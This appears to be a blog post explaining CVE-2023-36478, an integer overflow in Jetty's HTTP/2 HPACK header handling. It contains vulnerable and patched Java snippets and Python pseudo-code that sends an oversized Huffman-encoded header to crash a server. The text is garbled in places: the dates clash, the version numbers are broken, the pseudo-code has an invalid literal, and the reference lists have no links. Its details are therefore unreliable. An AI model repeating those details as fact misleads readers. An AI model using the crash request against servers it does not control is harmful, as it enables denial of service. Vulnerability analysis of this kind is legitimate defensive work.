Eclipse Jetty is one of the most popular Java-based web servers and servlet containers, embedded in everything from development projects to large-scale cloud backends. But on April 19, 2023, a critical security flaw—CVE-2023-36478—was published, revealing a subtle but severe integer overflow in its HTTP/2 implementation. This vulnerability threatens users across versions 9, 10, and 11, allowing attackers to potentially crash servers remotely and trigger Denial of Service (DoS).
This post will break down what went wrong, how attackers can exploit this, and—most importantly—what code changes fixed the issue. All content here is exclusive, written in plain American English for clarity.
TL;DR
CVE-2023-36478 affects Jetty 11..-11..15, 10..-10..15, and 9..-9.4.52.
An integer overflow in HTTP/2 HPACK header decoding allows remote attackers to crash Jetty by sending shaded headers causing huge memory allocations.
Patched in Jetty 11..16, 10..16, and 9.4.53; update immediately.
References
- Original Advisory
- NVD CVE page
- Jetty Issue #10409
- HackerOne Disclosure
Let’s break this down step-by-step
Jetty uses a class called MetaDataBuilder to keep track of HTTP request/response header sizes. HTTP/2 compresses headers using HPACK, and Jetty tries to keep these header values below a configured maximum.
Here’s a simplified look at the problem spot in
MetaDataBuilder.java (prior to patch)
// MetaDataBuilder.java, vulnerable code
if (huffman)
length = length * 4; // L295: possible integer overflow
if ((_size + length) > _maxHeaderSize) // L296: negative length slips past
throw...
_size += length;
- When headers are encoded with Huffman coding (huffman is true), their decoded lengths could be up to 4 times larger than the original.
- The multiplication (length * 4) on line 295 can overflow the max value of an int, causing length to wrap around and become negative.
- The next line checks if _size + length exceeds the limit, which it won’t if length is negative—even if the real decoded length is *huge.*
- This negative (but really super-large) value gets accepted and propagates until it's used for buffer allocation, causing the JVM to try to allocate a massive array or throw an OutOfMemoryError.
Exploit Details: How an Attacker Can Crash Jetty
With HTTP/2, attackers control encoded header fields. By sending oversized headers with Huffman coding enabled, they can manipulate header length to trigger this overflow, effectively bypassing Jetty’s checks.
Let’s see an exploit scenario
- Craft an HTTP/2 request with a huge header value.
Set Huffman encoding so Jetty multiplies the length by 4.
- Ensure the input size is close to the max positive int (Integer.MAX_VALUE), so that length * 4 overflows to a negative number.
- Jetty accepts this bogus value, eventually tries to allocate a too-large buffer, and the server slows down or crashes outright.
Here’s a rough exploit pseudo-code (this is not weaponized, but shows the logic)
# Using Python pseudo-code and h2lib (Python HTTP/2 library required)
from h2.connection import H2Connection
from h2.config import H2Configuration
def send_malicious_header(sock):
config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Create a header name and a *huge* value, HPACK Huffman encoded.
malicious_header = (":path", "A" * x3fffffff) # 1GB value
headers = [
(':method', 'GET'),
(':scheme', 'http'),
(':authority', 'victim.server'),
malicious_header,
]
conn.send_headers(1, headers)
sock.sendall(conn.data_to_send())
Warning: Never run this against servers you do not have permission to test.
The Code Fix: How Jetty’s Team Resolved It
The fix, as seen in Jetty commit, is to properly check for overflows after multiplying, and refuse any suspicious sizes.
Here’s the relevant patched code
// Fixed MetaDataBuilder.java
if (huffman) {
if (length > (Integer.MAX_VALUE / 4)) {
throw new BadMessageException(HttpStatus.REQUEST_HEADER_FIELDS_TOO_LARGE_431,
"HPACK huffman header length overflow");
}
length = length * 4;
}
if ((_size + length) > _maxHeaderSize) {
throw new BadMessageException(HttpStatus.REQUEST_HEADER_FIELDS_TOO_LARGE_431,
"Header too large");
}
_size += length;
They prevent an overflow by making sure the length is not so big that multiplying by 4 goes out of bounds. Now, negative values never sneak past the header size check.
You run Jetty 11..–11..15, 10..–10..15, or 9..–9.4.52,
- AND you expose HTTP/2 to users.
No workaround is available.
Original Advisory and References
- Jetty Security Advisory
- NIST NVD Entry
- Related Jetty GitHub PR
Key Takeaways
- CVE-2023-36478 is easy to exploit and threatens any Jetty server offering HTTP/2.
- Integer overflows are still a real threat in 2023. This one slipped into production across multiple Jetty versions.
If you run Jetty, patch now. If you run any HTTP/2 Java stack, watch for similar issues.
*Share this post to anyone running Java servers—it just might save them a nightmare.*
Timeline
Published on: 10/10/2023 17:15:11 UTC
Last modified on: 11/16/2023 16:15:30 UTC